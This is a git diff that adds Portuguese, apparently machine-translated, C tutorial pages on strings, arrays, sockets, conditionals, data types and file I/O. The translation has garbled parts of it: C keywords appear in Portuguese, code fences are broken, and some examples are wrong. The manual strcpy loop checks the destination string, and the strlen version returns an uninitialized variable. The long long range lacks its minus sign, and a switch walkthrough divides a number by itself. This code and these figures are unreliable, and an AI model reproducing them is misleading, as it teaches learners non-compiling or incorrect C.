+Outra coisa que C facilita para nós é a impressão de strings. Em vez de forçar você a imprimir cada caractere na matriz, basta usar o especificador de formato% s e tratar a string como se fosse um valor `int` ou `double` . Aqui está um exemplo do programa hello world, desde o começo, um pouco mais complicado com strings:
+
+```C
+#include <stdio.h> 
+ 
+ int main(void) { 
+    char hello_world[] = "Hello, World!\n"; 
+    printf("%s", hello_world); 
+ 
+    return 0; 
+ } 
+```
+
+### Brincando com cordas
+
+Imprimir strings é fácil, mas outras operações são um pouco mais complexas. Felizmente, a biblioteca `string.h` tem algumas funções úteis para usar em diversas situações.
+
+#### Cópia: `strcpy`
+
+`strcpy` (from 'string copy') copia uma string. Por exemplo, este snippet de código copia o conteúdo da string `second` para a string `first` :
+
+```C
+strpy(first, second); 
+```
+
+Aqui está um exemplo de como a implementação manual da função strcpy se parece:
+
+void copy _string (char \[\] primeira_ string, char \[\] second\_string) { int i;
+```
+for(i = 0; first_string[i] != '\0'; i++) 
+ { 
+    first_string[i] = second_string[i]; 
+ } 
+```
+
+}
+
+#### Concatenar: `strcat`
+
+`strcat` (from 'string concatenate') irá concatenar uma string, significando que irá pegar o conteúdo de uma string e colocá-la no final de outra string. Neste exemplo, o conteúdo do `second` será concatenado no `first` :
+
+```C
+strcat(first, second); 
+```
+
+Aqui está um exemplo de implementação manual de fuction strcat:
+
+void string\_concatenate (char \[\] s1, char \[\] s2) { int i = strlen (s1), j; para (int j = 0; s2 \[j\]; j ++, i + = 1) { s1 \[i\] = s2 \[j\]; } }
+
+#### Obter comprimento: `strlen`
+
+`strlen` (from 'string length') retornará um valor inteiro correspondente ao comprimento da string. Neste exemplo, um inteiro chamado `string_length` será atribuído ao comprimento de `my_string` :
+
+```C
+string_length = strlen(my_string); 
+```
+
+Aqui está uma implementação manual de struction de operação:
+
+int string\_length (char \[\] string) { int i;
+```
+for(int i = 0; string[i]; i++); 
+ 
+ return i; 
+```
+
+}
+
+#### Comparar: `strcmp`
+
+`strcmp` (from 'string compare') compara duas strings. O valor inteiro que ele retorna é 0 se eles forem iguais, mas também retornará negativo se o valor do primeiro (somando caracteres) for menor que o valor do segundo, e positivo se o primeiro for maior que o segundo . Dê uma olhada em um exemplo de como isso pode ser usado:
+
+```C
+if(!strcmp(first, second)){ 
+    printf("These strings are the same!\n"); 
+ } else { 
+    printf("These strings are not the same!\n"); 
+ } 
+```
+
+Observe o `!` , o que é necessário porque esta função retorna 0 se eles forem iguais. Colocar o ponto de exclamação aqui fará essa comparação retornar true.
+
+#### Dividir uma string: `strtok`
+
+`strtok` (from 'string token') divide uma string em uma série de tokens usando um delimitador. Neste exemplo, strtok divide a string str em uma série de tokens usando o delimitador delimitador:
+
+```C
+char *strtok(char *str, const char *delim); 
+```
+
+# Antes de você ir ...
+
+## Uma revisão
+
+*   Matrizes são coleções de variáveis.
+*   Os arrays têm posições separadas que podem ser declaradas com colchetes e acessadas com colchetes.
+*   Strings são matrizes também, mas podemos tratá-las de forma um pouco diferente: elas podem ser declaradas usando aspas duplas e impressas usando% s.
+*   Strings tem sua própria biblioteca, `string.h` , que tem algumas funções úteis para usar.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/c/arrays/index.md b/client/src/guide/portuguese/c/arrays/index.md
new file mode 100644
index 0000000000..e4d98cd696
--- /dev/null
+++ b/client/src/guide/portuguese/c/arrays/index.md
@@ -0,0 +1,197 @@
+---
+title: Arrays
+localeTitle: Matrizes
+---
+# Matrizes em C
+
+## Problemas
+
+Antes de tentar explicar quais são os arrays, vamos ver o código onde queremos imprimir 10 números dados pelo usuário na ordem inversa.
+
+```C
+#include <stdio.h> 
+ int main(void) { 
+    int a, b, c, d, e, f, g, i, j, k; 
+    scanf("%d", &a); 
+    scanf("%d", &b); 
+    ... 
+    printf("%d", k); 
+    printf("%d", j); 
+    printf("%d", i); 
+    ... //and so on.. 
+ 
+    return 0; 
+ } 
+```
+
+Então, isso parece um pouco entediante. Até agora, todas as variáveis ​​criadas tinham algum papel especial. Mas agora, seria ótimo se pudéssemos armazenar vários valores em um único local e obter acesso aos valores com seu lugar na linha talvez (primeiro valor, segundo etc.). Outra maneira de ver isto é, suponha que você queira armazenar um conjunto de nomes, você não precisa criar variáveis ​​diferentes para cada nome, em vez disso você pode criar uma matriz de nomes onde cada nome tem sua identidade ou _índice_ único. Além disso, podemos usar loops neles, que são coisas que você aprenderá mais tarde, mas basicamente eles fazem a mesma coisa repetidas vezes. por exemplo. lendo do usuário ou imprimindo valores.
+
+## Matrizes em C
+
+Matrizes são contêineres com um determinado tamanho. Eles contêm variáveis ​​do **mesmo tipo** . Você pode acessar uma variável armazenada na matriz com seu _índice_ . Vamos ver um código:
+
+```C
+#include <stdio.h> 
+ int main(void) { 
+    int arr[4] = {1, 2, 3, 88}; 
+    int brr[] = {78, 65}; 
+    int crr[100] = {3}; 
+ 
+    int var = arr[0]; 
+ 
+    return 0; 
+ } 
+```
+
+E agora vamos quebrar um pouco a sintaxe:
+
+```C
+int arr[4] = {1, 2, 3, 88}; 
+```
+
+Aqui você criou uma `array` de `ints` (Integers), chamada `arr` . Esta matriz tem 4 elementos: `1` , `2` , `3` , `88` . Observe a sintaxe!
+
+```C
+datatype name[number of elements] 
+```
+
+O primeiro elemento desta matriz é `1` , o segundo é `2` etc.
+
+```C
+int brr[] = {78, 65}; 
+```
+
+Você não precisa informar a dimensão antecipadamente. Aqui, uma matriz de dois será criada com os elementos entre as chaves.
+
+```C
+int crr[100] = {3}; 
+```
+
+Se você fizer isso, o primeiro elemento será `3` , mas o restante será `0` .
+
+```C
+int var = arr[0]; 
+```
+
+Aqui um int é criado chamado `var` , e é inicializado no 0º elemento de arr. **É muito importante notar** que, em C, os índices começam em zero em oposição a 1. Isso significa que para acessar o primeiro elemento, o índice (entre parênteses) é 0, para acessar o segundo elemento, o índice é 1 etc. Neste exemplo `var` vai armazenar o valor `1` .
+
+## Visão geral
+
+*   Um array unidimensional é como uma lista; Uma matriz bidimensional é como uma tabela; A linguagem C não coloca limites no número de dimensões em uma matriz, embora implementações específicas possam.
+    
+*   Alguns textos referem-se a matrizes unidimensionais como vetores, matrizes bidimensionais como matrizes e usam os conjuntos de termos gerais quando o número de dimensões não é especificado ou não é importante.
+    
+
+## Matrizes multidimensionais em C
+
+C também suporta matrizes multidimensionais.
+
+```C
+datatype name[size1][size2]...[sizeN] 
+```
+
+Matrizes bidimensionais são comuns e podem ser inicializadas usando a seguinte sintaxe. Pode-se pensar logicamente no primeiro índice como linhas e no segundo índice como colunas. Este exemplo tem 2 linhas e 5 colunas.
+
+```C
+int arr[2][5] = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9}; 
+```
+
+Pode ser difícil visualizar uma matriz bidimensional usando a sintaxe acima, para que os desenvolvedores usem frequentemente colchetes aninhados opcionais para esclarecer a estrutura da matriz. Esta é também uma maneira válida de inicializar um array bidimensional.
+
+```C
+int arr[2][5] = { 
+    {0, 1, 2, 3, 4}, 
+    {5, 6, 7, 8, 9} 
+ }; 
+```
+
+Dois loops for aninhados podem ser usados ​​para imprimir o conteúdo de um array bidimensional em formato tabular.
+
+```C
+#include <stdio.h> 
+ 
+ 
+ int main() { 
+    const int rows = 2, cols = 5; 
+ 
+    int arr[rows][cols] = { 
+            {0, 1, 2, 3, 4}, 
+            {5, 6, 7, 8, 9} 
+    }; 
+ 
+    for (int row = 0; row < rows; row++) { 
+        for (int col = 0; col < cols; col++) { 
+            printf("%5d", arr[row][col]); 
+        } 
+        puts(""); 
+    } 
+ 
+    return 0; 
+ } 
+```
+
+```C
+    0    1    2    3    4 
+    5    6    7    8    9 
+```
+
+## Cordas
+
+Para armazenar strings / caracteres múltiplos, usamos `char arrays` em C, porque a linguagem não tem nenhum tipo especial embutido. Uma coisa a ter em conta, é que um nulo de terminação é automaticamente adicionado ao final, sinalizando que é o fim de a corda. No entanto, você também pode inicializar uma string com chaves `{}` também, mas é necessário adicionar manualmente o nulo final.
+
+Igual a:
+
+```C
+char string[6] = "Hello"; //here you get Hello\0, which is why we need an array with the length of 6 
+```
+
+Assim como com os arrays int no exemplo acima, existem várias maneiras de atribuir valores a matrizes de caracteres:
+
+```C
+char string[] = "I do not want to count the chars in this."; 
+ char string2[] = {'C','h','a','r',' ','b','y',' ','c','h','a','r','\0'}; 
+ char string3[] = "This is a string" 
+                 "with two lines"; 
+```
+
+Equivalente à abordagem acima, você também pode criar um ponteiro para uma matriz char:
+
+```C
+char* string = "I do not want to count the chars in this."; 
+```
+
+## Erros típicos, dicas
+
+*   Quando você tem uma matriz preenchida com valores e deseja criar uma outra matriz que seja exatamente igual à primeira, nunca faça isso:
+
+```C
+double first[] = {2,3,7}; 
+ double second[] = first; 
+ //Or this: 
+ double a[5], b[5] 
+ a = b; 
+```
+
+Você **só** pode lidar com os valores em uma matriz, um por um. Você **não pode atribuir tudo de uma vez** , quando você aprender sobre os ponteiros mais tarde, as razões serão claras.
+
+> (Basicamente, o primeiro elemento de uma matriz aponta para um endereço de memória, e os elementos depois disso são as "casas" ao lado da primeira. Então, tecnicamente uma matriz é apenas o endereço de memória do primeiro elemento. Quando você deseja atribuir a segunda array a primeira matriz, você corre em erro devido a diferentes tipos, ou você está tentando mudar o segundo endereço de memória do primeiro elemento na segunda matriz.)
+
+*   Quando você deseja criar uma matriz, é necessário informar seu tamanho ou atribuir valores a ela. Não faça isso:
+
+```C
+int arr[]; 
+```
+
+O computador precisa saber o tamanho de um armazenamento a ser criado para o array. Mais tarde, você aprenderá sobre maneiras de criar contêineres cujo tamanho é definido posteriormente. (Novamente, ponteiros.)
+
+*   Quando você indexa a matriz, o compilador nem sempre lhe dará um erro. Isso é chamado de comportamento indefinido, simplesmente não sabemos o que vai acontecer. Pode levar ao seu programa travando, simplesmente diminuindo a velocidade, qualquer coisa.
+
+```C
+int test[6]; 
+ int a = test[-2]; 
+ int b = test[89]; 
+```
+
+A razão para o C não verificar o limite de indexação é simples: C é uma linguagem eficiente. Foi feito, então o seu programa é o mais rápido: comunica-se bem com o hardware, etc. Um código C bem escrito não contém erros de indexação, então por que C iria querer verificar enquanto estava rodando?
+
+*   Quando você tenta acessar o último elemento da matriz. Suponha que o comprimento da matriz A seja 4 e ao acessar o último elemento como Um \[4\] retornará um erro, pois a indexação começa em 0.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/c/basic-networking/index.md b/client/src/guide/portuguese/c/basic-networking/index.md
new file mode 100644
index 0000000000..b7706faf5e
--- /dev/null
+++ b/client/src/guide/portuguese/c/basic-networking/index.md
@@ -0,0 +1,19 @@
+---
+title: Basic Networking
+localeTitle: Rede Básica
+---
+## Rede Básica
+
+Rede básica em C envolve principalmente abertura de soquetes e comunicação através deles. Isso levanta a questão, o que é um soquete?
+
+## O que é um soquete
+
+Um soquete é um ponto final de um link de comunicação bidirecional entre dois programas em execução em uma rede. Um terminal é uma combinação de um endereço IP e um número de porta. Um soquete é ligado a um número de porta para que a camada TCP possa identificar o aplicativo para o qual os dados serão enviados.
+
+Quando um programa está sendo executado em uma rede, ele está disponível para acesso a partir de locais diferentes da localização local. Por locais diferentes, quero dizer que todos os computadores na mesma rede podem acessá-lo. Mas como vão eles? Portanto, todo programa se registra com um número de porta. Pense no número da porta como um número de apartamento em um enorme apartamento. Se uma carta for enviada para um apartamento, o número do apartamento informa ao correio o apartamento específico para onde ele deve ir.
+
+Mas como chegará ao apartamento? Cada apartamento tem seu próprio endereço, o correio examina o endereço único (que é de fato uma string) e decide o destino da carta. Nesse caso, cada computador conectado a uma rede terá um endereço IP que é como um endereço usado ao enviar uma carta pela agência postal. Da mesma forma, um computador conectado a uma rede precisa conhecer os endereços IP dos outros computadores na mesma rede para se comunicar com eles. Para se comunicar com um programa específico em um computador específico, o número da porta desse programa é necessário. (Pense no número do apartamento da nossa analogia com o apartamento.)
+
+## Noções básicas de programação de soquete
+
+A programação de soquete é uma maneira de conectar dois nós em uma rede para se comunicar uns com os outros. Um soquete (nó) escuta em uma porta particular em um IP, enquanto outro soquete alcança o outro para formar uma conexão. O servidor forma o soquete do ouvinte enquanto o cliente alcança o servidor.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/c/conditional-statements/index.md b/client/src/guide/portuguese/c/conditional-statements/index.md
new file mode 100644
index 0000000000..48ce4b0f86
--- /dev/null
+++ b/client/src/guide/portuguese/c/conditional-statements/index.md
@@ -0,0 +1,258 @@
+---
+title: Conditional Statements
+localeTitle: Declarações Condicionais
+---
# Declarações Condicionais em C
+
+As declarações condicionais também são conhecidas como instruções de ramificação. Eles são assim chamados porque o programa escolhe seguir um ramo ou outro.
+
+## 1\. se declaração
+
+Esta é a forma mais simples das declarações condicionais. Consiste em uma expressão booleana seguida por uma ou mais instruções. Se a expressão booleana for avaliada como **true** , o bloco de código dentro da instrução 'if' será executado. Se a expressão booleana for avaliada como **falsa** , o primeiro conjunto de códigos após o final da instrução 'if' (após a chave de fechamento) será executado.
+
+A linguagem de programação C **_assume qualquer valor diferente de zero e não nulo como true_** e, se for **_zero ou nulo, será assumido como_** valor **_falso_** .
+
+#### Sintaxe
+
+```C
+if(boolean_expression) 
+ { 
+    //Block of Statements executed when boolean_expression is true 
+ } 
+```
+
+#### Exemplo
+
+```C
+int a = 100; 
+ if(a < 200) 
+ { 
+    printf("a is less than 200\n" ); 
+ } 
+```
+
+#### Resultado
+
+`a is less than 200`
+
+## 2\. if… else statement
+
+Se a expressão booleana for avaliada como **verdadeira** , o bloco if será executado, caso contrário, o bloco else será executado.
+
+#### Sintaxe
+
+```C
+if(boolean_expression) 
+ { 
+    //Block of Statements executed when boolean_expression is true 
+ } 
+ else 
+ { 
+    //Block of Statements executed when boolean_expression is false 
+ } 
+```
+
+#### Exemplo
+
+```C
+int a = 300; 
+ if(a < 200) 
+ { 
+    printf("a is less than 200\n" ); 
+ } 
+ else 
+ { 
+    printf("a is more than 200\n"); 
+ } 
+```
+
+#### Resultado
+
+`a is more than 200`
+
+## 3\. if… else if… else statement
+
+Ao usar if ... else if..else statements, há alguns pontos a serem lembrados -
+
+*   Um **if** pode ter **zero ou um outro** e **deve vir depois de qualquer outro** .
+*   Um **se** pode ter **zero para muitos mais se** e eles **devem vir antes do outro** .
+*   Uma vez que uma **outra seja** bem-sucedida, nenhum dos outros restantes será testado.
+
+#### Sintaxe
+
+```C
+if(boolean_expression_1) 
+ { 
+    //Block of Statements executed when boolean_expression_1 is true 
+ } 
+ else if(boolean_expression_2) 
+ { 
+    //Block of Statements executed when boolean_expression_1 is false and boolean_expression_2 is true 
+ } 
+ else if(boolean_expression_3) 
+ { 
+    //Block of Statements executed when both boolean_expression_1 and boolean_expression_2 are false and boolean_expression_3 is true 
+ } 
+ else 
+ { 
+    //Block of Statements executed when all boolean_expression_1, boolean_expression_2 and boolean_expression_3 are false 
+ } 
+```
+
+#### Exemplo
+
+```C
+int a = 300; 
+ if(a == 100) 
+ { 
+    printf("a is equal to 100\n" ); 
+ } 
+ else if(a == 200) 
+ { 
+    printf("a is equal to 200\n"); 
+ } 
+ else if(a == 300) 
+ { 
+    printf("a is equal to 300\n"); 
+ } 
+ else 
+ { 
+    printf("a is more than 300\n"); 
+ } 
+```
+
+#### Resultado
+
+`a is equal to 300`
+
+## 4\. Aninhada se declaração
+
+É sempre legal na programação C aninhar as instruções if-else, o que significa que você pode usar uma if ou else se a instrução dentro de outra if ou else if statement (s).
+
+#### Sintaxe
+
+```C
+if(boolean_expression_1) 
+ { 
+    //Executed when boolean_expression_1 is true 
+    if(boolean_expression_2) 
+    { 
+      //Executed when both boolean_expression_1 and boolean_expression_2 are true 
+    } 
+ } 
+```
+
+#### Exemplo
+
+```C
+int a = 100; 
+ int b = 200; 
+ if(a == 100) 
+ { 
+    printf("a is equal to 100\n" ); 
+    if(b == 200) 
+    { 
+        printf("b is equal to 200\n"); 
+    } 
+ } 
+```
+
+#### Resultado
+
+```bash
+a is equal to 100 
+ b is equal to 200 
+```
+
+## 5\. Switch Case Statement
+
+A instrução switch é frequentemente mais rápida que aninhada se… else (nem sempre). Além disso, a sintaxe da instrução switch é mais clara e fácil de entender.
+
+### Sintaxe do comutador
+```
+switch (n) 
+ { 
+    case constant1: 
+        // code to be executed if n is equal to constant1; 
+        break; 
+ 
+    case constant2: 
+        // code to be executed if n is equal to constant2; 
+        break; 
+        . 
+        . 
+        . 
+    default: 
+        // code to be executed if n doesn't match any constant 
+ } 
+```
+
+Quando é encontrada uma constante de caso que corresponde à expressão do comutador, o controle do programa passa para o bloco de código associado a esse caso.
+
+No pseudocódigo acima, suponha que o valor de n seja igual a constant2. O compilador executará o bloco de código associado à instrução case até o final do bloco de switches ou até que a instrução break seja encontrada.
+
+A instrução break é usada para evitar que o código seja executado no próximo caso.
+
+### Exemplo:
+```
+// Program to create a simple calculator 
+ // Performs addition, subtraction, multiplication or division depending the input from user 
+ 
+ # include <stdio.h> 
+ 
+ int main() 
+ { 
+ 
+    char operator; 
+    double firstNumber,secondNumber; 
+ 
+    printf("Enter an operator (+, -, *, /): "); 
+    scanf("%c", &operator); 
+ 
+    printf("Enter two operands: "); 
+    scanf("%lf %lf",&firstNumber, &secondNumber); 
+ 
+    switch(operator) 
+    { 
+        case '+': 
+            printf("%.1lf + %.1lf = %.1lf",firstNumber, secondNumber, firstNumber+secondNumber); 
+            break; 
+ 
+        case '-': 
+            printf("%.1lf - %.1lf = %.1lf",firstNumber, secondNumber, firstNumber-secondNumber); 
+            break; 
+ 
+        case '*': 
+            printf("%.1lf * %.1lf = %.1lf",firstNumber, secondNumber, firstNumber*secondNumber); 
+            break; 
+ 
+        case '/': 
+            printf("%.1lf / %.1lf = %.1lf",firstNumber, secondNumber, firstNumber/secondNumber); 
+            break; 
+ 
+        // operator is doesn't match any case constant (+, -, *, /) 
+        default: 
+            printf("Error! operator is not correct"); 
+    } 
+ 
+    return 0; 
+ } 
+```
+
+### Saída
+```
+Enter an operator (+, -, *,): - 
+ Enter two operands: 32.5 
+ 12.4 
+ 32.5 - 12.4 = 20.1 
+```
+
+O operador '-' inserido pelo usuário é armazenado na variável do operador. E, dois operandos 32.5 e 12.4 são armazenados em variáveis ​​firstNumber e secondNumber, respectivamente.
+
+Então, o controle do programa pula para
+```
+printf("%.1lf / %.1lf = %.1lf",firstNumber, secondNumber, firstNumber/firstNumber); 
+```
+
+Finalmente, a instrução break termina a instrução switch.
+
+Se a instrução break não for usada, todos os casos após o caso correto serão executados.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/c/data-types/index.md b/client/src/guide/portuguese/c/data-types/index.md
new file mode 100644
index 0000000000..6a503747a3
--- /dev/null
+++ b/client/src/guide/portuguese/c/data-types/index.md
@@ -0,0 +1,136 @@
+---
+title: Data Types in C
+localeTitle: Tipos de dados em C
+---
+# Tipos de dados em C
+
+Existem várias maneiras diferentes de armazenar dados em C, e elas são exclusivas umas das outras. Os tipos de dados que as informações podem ser armazenadas, como são chamados tipos de dados. C é muito menos tolerante com relação aos tipos de dados do que outros idiomas. Como resultado, é importante ter certeza de que você entende os tipos de dados existentes, suas habilidades e suas limitações.
+
+Uma peculiaridade dos tipos de dados de C é que eles dependem inteiramente do hardware em que você está executando seu código. Um `int` em seu laptop será menor do que um `int` em um supercomputador, portanto, conhecer as limitações do hardware em que você está trabalhando é importante. É também por isso que os tipos de dados são definidos como mínimos - um valor `int` , como você vai aprender, é no mínimo -32767 a 32767: em certas máquinas, ele poderá armazenar ainda mais valores que isso.
+
+Existem duas categorias que podemos dividir em: inteiros e números de ponto flutuante. Inteiros são números inteiros. Eles podem ser positivos, negativos ou nulos. Números como -321, 497, 19345 e -976812 são números inteiros perfeitamente válidos, mas 4.5 não é porque 4.5 não é um número inteiro.
+
+Números de ponto flutuante são números com um decimal. Como inteiros, -321, 497, 19345 e -976812 são todos válidos, mas agora 4,5, 0,0004, -324,984 e outros números não inteiros também são válidos.
+
+C nos permite escolher entre várias opções diferentes com nossos tipos de dados, porque eles são armazenados de diferentes maneiras no computador. Como resultado, é importante estar ciente das habilidades e limitações de cada tipo de dados para escolher o mais adequado.
+
+## Tipos de dados inteiros
+
+#### Personagens: `char`
+
+`char` possui caracteres - coisas como letras, pontuação e espaços. Em um computador, os caracteres são armazenados como números, portanto, o `char` mantém valores inteiros que representam caracteres. A tradução real é descrita pelo padrão ASCII. [Aqui está](http://www.asciitable.com/) uma tabela útil para procurar isso.
+
+O tamanho real, como todos os outros tipos de dados em C, depende do hardware em que você está trabalhando. No mínimo, é pelo menos 8 bits, então você terá pelo menos 0 a 127. Alternativamente, você pode usar o `signed char` para obter pelo menos -128 a 127.
+
+#### Inteiros padrão: `int`
+
+A quantidade de memória que um único `int` leva depende do hardware. No entanto, você pode esperar que um `int` tenha pelo menos 16 bits de tamanho. Isso significa que ele pode armazenar valores de -32.768 a 32.767 ou mais, dependendo do hardware.
+
+Como todos esses outros tipos de dados, há uma variante `unsigned` que pode ser usada. O `unsigned int` pode ser positivo e zero, mas não negativo, portanto, pode armazenar valores de 0 a 65.535 ou mais, dependendo do hardware.
+
+#### Inteiros `short` : `short`
+
+Isso não é usado com frequência, mas é bom saber que existe. Como int, ele pode armazenar -32768 a 32767. Ao contrário de int, no entanto, essa é a extensão de sua capacidade. Em qualquer lugar que você pode usar `short` , você pode usar `int` .
+
+#### Números inteiros `long`
+
+O tipo de dados `long` armazena inteiros como `int` , mas fornece um intervalo maior de valores ao custo de obter mais memória. Long armazena pelo menos 32 bits, dando-lhe um intervalo de -2.147.483.648 a 2.147.483.647. Como alternativa, use `unsigned long` para um intervalo de 0 a 4.294.967.295.
+
+#### Números inteiros ainda maiores: `long long`
+
+O tipo de dados `long long` é um exagero para praticamente todos os aplicativos, mas o C permite que você o use de qualquer maneira. É capaz de armazenar pelo menos 9.223.372.036.854.775.807 a 9.223.372.036.854.775.807. Alternativamente, consiga ainda mais overkill com `unsigned long long` , que lhe dará pelo menos 0 a 18.446.744.073.709.551.615.
+
+## Tipos de dados do número de ponto flutuante
+
+#### Números básicos de pontos flutuantes: `float`
+
+`float` leva pelo menos 32 bits para armazenar, mas nos dá 6 casas decimais de 1.2E-38 a 3.4E + 38.
+
+#### Duplos: `double`
+
+`double` leva o dobro da memória de float (pelo menos 64 bits). Em troca, o dobro pode fornecer 15 casas decimais de 2.3E-308 a 1.7E + 308.
+
+#### Obtendo uma ampla gama de duplas: `long double`
+
+`long double` leva pelo menos 80 bits. Como resultado, podemos obter 19 casas decimais de 3.4E-4932 a 1.1E + 4932.
+
+## Escolhendo o tipo de dados correto
+
+C escolhe o tipo de dados e nos torna muito específicos e intencionais sobre a maneira como fazemos isso. Isso lhe dá muito poder sobre o seu código, mas é importante escolher o caminho certo.
+
+Em geral, você deve escolher o mínimo para sua tarefa. Se você sabe que vai contar do número inteiro de 1 a 10, não precisa de um longo e não precisa de um duplo. Se você sabe que nunca terá valores negativos, procure usar as variantes `unsigned` dos tipos de dados. Ao fornecer essa funcionalidade, em vez de fazê-lo automaticamente, C é capaz de produzir código muito leve e eficiente. No entanto, depende de você, como programador, compreender as habilidades e limitações e escolher de acordo.
+
+Podemos usar o operador sizeof () para verificar o tamanho de uma variável. Veja o seguinte programa em C para o uso dos vários tipos de dados:
+
+```c
+#include <stdio.h> 
+ 
+ int main() 
+ { 
+    int a = 1; 
+ 
+    char b ='G'; 
+ 
+    double c = 3.14; 
+ 
+    printf("Hello World!\n"); 
+ 
+    //printing the variables defined above along with their sizes 
+    printf("Hello! I am a character. My value is %c and " 
+           "my size is %lu byte.\n", b,sizeof(char)); 
+    //can use sizeof(b) above as well 
+ 
+    printf("Hello! I am an integer. My value is %d and " 
+           "my size is %lu  bytes.\n", a,sizeof(int)); 
+    //can use sizeof(a) above as well 
+ 
+    printf("Hello! I am a double floating point variable." 
+           " My value is %lf and my size is %lu bytes.\n",c,sizeof(double)); 
+    //can use sizeof(c) above as well 
+ 
+    printf("Bye! See you soon. :)\n"); 
+    return 0; 
+ } 
+```
+
+## Saída:
+
+Olá Mundo!  
+Olá! Eu sou um personagem. Meu valor é G e meu tamanho é 1 byte.  
+Olá! Eu sou um inteiro. Meu valor é 1 e meu tamanho é 4 bytes.  
+Olá! Eu sou uma variável de ponto flutuante duplo. Meu valor é 3.140000 e meu tamanho é 8 bytes.  
+Tchau! Te vejo em breve. :)
+
+## O tipo de vazio
+
+O tipo void especifica que nenhum valor está disponível. É usado em três tipos de situações:
+
+#### 1\. Função retorna como vazia
+
+Existem várias funções em C que não retornam nenhum valor ou você pode dizer que elas retornam nulas. Uma função sem valor de retorno tem o tipo de retorno como vazio. Por exemplo, `void exit (int status);`
+
+#### 2\. Argumentos de função como nulos
+
+Existem várias funções em C que não aceitam nenhum parâmetro. Uma função sem parâmetro pode aceitar um vazio. Por exemplo, `int rand(void);`
+
+#### 3\. Ponteiros para anular
+
+Um ponteiro do tipo void \* representa o endereço de um objeto, mas não o seu tipo. Por exemplo, uma função de alocação de memória `void *malloc( size_t size);` retorna um ponteiro para void que pode ser convertido para qualquer tipo de dados.
+
+# Antes de você ir ...
+
+## Uma revisão
+
+*   As habilidades reais dos tipos de dados C dependem do hardware. Como resultado, os tamanhos mínimos são definidos para os tipos de dados.
+*   Números de pontos flutuantes permitirão que você tenha decimais, enquanto números inteiros não terão.
+*   Nós temos algumas opções para nossos valores inteiros:
+*   char, que é projetado para caracteres, mas armazena números
+*   int, que é o tipo de dados inteiro padrão
+*   short, que é um tipo de dados inteiro menos comumente usado, mas ainda disponível
+*   long, que dá uma ampla gama de valores inteiros
+*   long long, que fornece um intervalo de overkill de valores inteiros, mas às vezes ainda é útil.
+*   Também temos algumas opções para nossos valores de ponto flutuante:
+*   float é o valor básico do ponto flutuante, armazenando 6 casas decimais
+*   duplo leva o dobro da memória e dá 15 casas decimais
+*   longa dupla leva ainda mais memória e dá 19 casas decimais
+*   Escolher o tipo de dados correto é importante e dá ao programador muito controle sobre o programa em um nível baixo.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/c/file-handling/index.md b/client/src/guide/portuguese/c/file-handling/index.md
new file mode 100644
index 0000000000..fc3c71effd
--- /dev/null
+++ b/client/src/guide/portuguese/c/file-handling/index.md
@@ -0,0 +1,207 @@
+---
+title: File Handling
+localeTitle: Manipulação de arquivos
+---
+## Manipulação de arquivos
+
+### Introdução
+
+Se você já escreveu o programa C `helloworld` antes, você já fez o IO do arquivo em C! Parabéns! : tada:
+
+```c
+/* A simple hello world in C. */ 
+ #include <stdlib.h> 
+ 
+ // Import IO functions. 
+ #include <stdio.h> 
+ 
+ int main() { 
+    // This printf is where all the file IO magic happens! 
+    // How exciting! 
+    printf("Hello, world!\n"); 
+    return EXIT_SUCCESS; 
+ } 
+```
+
+A manipulação de arquivos é a parte mais importante de um programador. Na linguagem C, usamos um ponteiro de estrutura de um tipo de arquivo para declarar um arquivo
+
+```c
+FILE *fp; 
+```
+
+C fornece um número de funções internas para executar a operação básica do arquivo
+
+**fopen ()** **\-** **cria um novo arquivo ou abre um arquivo existente**
+
+**fclose ()** **\-** **fecha um arquivo**
+
+**getc ()** **\-** **lê um caractere de um arquivo**
+
+**putc ()** **\-** **escreve um caractere em um arquivo**
+
+**fscanf ()** **\-** **lê um conjunto de dados de um arquivo**
+
+**fprintf ()** **\-** **grava um conjunto de dados em um arquivo**
+
+**getw ()** **\-** **lê um inteiro de um arquivo**
+
+**putw ()** **\-** **escreve um inteiro em um arquivo**
+
+**fseek ()** **\-** **defina a posição para o ponto de desejo**
+
+**ftell ()** **\-** **dá posição atual no arquivo**
+
+**rebobinar ()** **\-** **definir a posição para o ponto inicial**
+
+### Abrindo um arquivo
+
+A função **fopen ()** é usada para criar um arquivo ou abrir um arquivo existente
+
+`c fp = fopen(const char filename,const char mode);`
+
+Em C há muitos modos para abrir um arquivo **r** **\-** **abre um arquivo no modo de leitura**
+
+**w** **\-** **abre ou cria um arquivo de texto no modo de escrita**
+
+**a** **\-** **abre um arquivo no modo de acréscimo**
+
+**r +** **\-** **abre um arquivo no modo de leitura e escrita**
+
+**a +** **\-** **abre um arquivo no modo de leitura e escrita**
+
+**w +** **\-** **abre um arquivo no modo de leitura e escrita**
+
+Aqui está um exemplo de leitura e gravação de dados em um arquivo
+
+\`\` \`c #incluir
+
+# incluir
+
+a Principal() { ARQUIVO \* fp; char ch; fp = fopen ("hello.txt", "w"); printf ("Enter data"); while ((ch = getchar ())! = EOF) { putc (ch, fp); } fclose (fp); fp = fopen ("hello.txt", "r");
+
+while ((ch = getc (fp)! = EOF) printf ("% c", ch);
+
+fclose (fp); }
+```
+Now you might be thinking, "this justs prints text to my screen.  How is this file IO?" 
+ The answer isn't obvious at first, and needs some understanding about the UNIX system. 
+ Under a UNIX system, everything is treated as a file, meaning you can read and write from it. 
+ This means that your printer can be abstracted as a file since all you do with a printer is write with it. 
+ It is also useful to think of these files as streams, since as you'll see later, you can redirect them with the shell. 
+ 
+ So how does this relate to `helloworld` and file IO? 
+ 
+ When you call `printf`, you are really just writing to a special file called `stdout`, short for __standard output__. 
+ `stdout` represents, well, the standard output as decided by your shell, which is usually the terminal. 
+ This explains why it printed to your screen. 
+ 
+ There are two other streams (ie files) that are available to you with effort, `stdin` and `stderr`. 
+ `stdin` represents the __standard input__, which your shell usually attaches to the keyboard. 
+ `stderr` represents the __standard error__ output, which your shell usually attaches to the terminal. 
+ 
+ ### Rudimentary File IO, or How I Learnt to Lay Pipes 
+ Enough theory, let's get down to business by writing some code! 
+ The easist way to write to a file is to redirect the output stream using the output redirect tool, `>`. 
+ If you want to append, you can use `>>`. _N.b. these redirection operators are in_ `bash` _and similar shells._ 
+```
+
+bater
+
+# Isto irá produzir para a tela ...
+
+./Olá Mundo
+
+# … Mas isso vai gravar em um arquivo!
+
+./helloworld> hello.txt
+```
